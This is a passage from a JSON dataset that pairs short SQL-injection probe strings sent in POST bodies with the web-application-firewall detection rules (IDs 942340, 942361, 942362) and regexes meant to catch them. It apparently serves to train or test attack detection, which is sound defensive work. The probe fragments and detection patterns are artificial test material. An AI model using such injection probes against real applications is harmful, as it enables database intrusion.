"(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "SQL Auth Bypass FP test (invalid operator without whitespace)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "'alter a" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:^[\\W\\d]+\\s*?(?:alter|union)\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942361", "test_description": "Detects basic SQL injection based on keyword alter or union" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\" ALTER A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:^[\\W\\d]+\\s*?(?:alter|union)\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942361", "test_description": "Detects basic SQL injection based on keyword alter or union" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "'ALTER A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:^[\\W\\d]+\\s*?(?:alter|union)\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942361", "test_description": "Detects basic SQL injection based on keyword alter or union" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "' alter/" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:^[\\W\\d]+\\s*?(?:alter|union)\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942361", "test_description": "Detects basic SQL injection based on keyword alter or union" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\" UNION A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:^[\\W\\d]+\\s*?(?:alter|union)\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942361", "test_description": "Detects basic SQL injection based on keyword alter or union" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "'UNION A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:^[\\W\\d]+\\s*?(?:alter|union)\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942361", "test_description": "Detects basic SQL injection based on keyword alter or union" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "' union/" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:^[\\W\\d]+\\s*?(?:alter|union)\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942361", "test_description": "Detects basic SQL injection based on keyword alter or union" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=1234%20AS%20%22foobar%22%20FROM%20tablevar2=whatever" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "concatenated basic SQL injection and SQLLFI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "select Char(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT CHAR(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT GROUP_CONCAT(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT group_cOnCat(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") as cc FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") AS orders FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") AS `carrier_id` from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, 